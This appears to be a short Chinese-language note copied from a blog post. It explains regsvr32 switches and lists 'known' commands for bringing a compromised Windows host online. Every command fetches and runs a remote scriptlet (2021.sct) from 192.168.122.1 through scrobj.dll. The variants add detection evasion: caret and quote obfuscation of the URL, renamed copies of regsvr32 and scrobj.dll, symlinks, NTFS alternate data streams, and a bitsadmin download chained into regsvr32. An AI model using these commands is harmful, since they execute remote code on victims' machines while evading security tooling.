再补充相关程序命令说明:
/u:反注册DLL文件
/i:在使用 /u 反注册时调用 DllInstall
/s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
/c:控制端口
/n:不调用DllRegisterServer,必须与/i连用
已知基本上线命令:
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct scrobj.dll
regsvr32 /u /n /s /i:h^t^t^p://192.168.122.1/2021.sct scrobj.dll
regsvr32 /u /n /s /i:h"t"t"p://192.168.122.1/2021.sct scrobj.dll
copy c:\windows\system32\regsvr32.exe C:\Users\Administrator\Desktop\regs.exe
regs.exe /u /n /s /i:http://192.168.122.1/2021.sct scrobj.dll
copy c:\windows\system32\scrobj.dll newscrobj.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct newscrobj.dll
需要链接的dll目录下进行
Mklink.exe c:\programdata\Myscrobj.dll c:\windows\system32\scrobj.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct Myscrobj.dll
type c:\windows\system32\scrobj.dll > test.txt:new1.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct test.txt:new1.dll
bitsadmin /transfer download /download /priority normal http://192.168.122.1/2021.sct %TEMP%\new2021.txt && regsvr32.exe /s /u /i:%TEMP%\new2021.txt scrobj.dll
原文:https://www.cnblogs.com/Yang34/p/14404215.html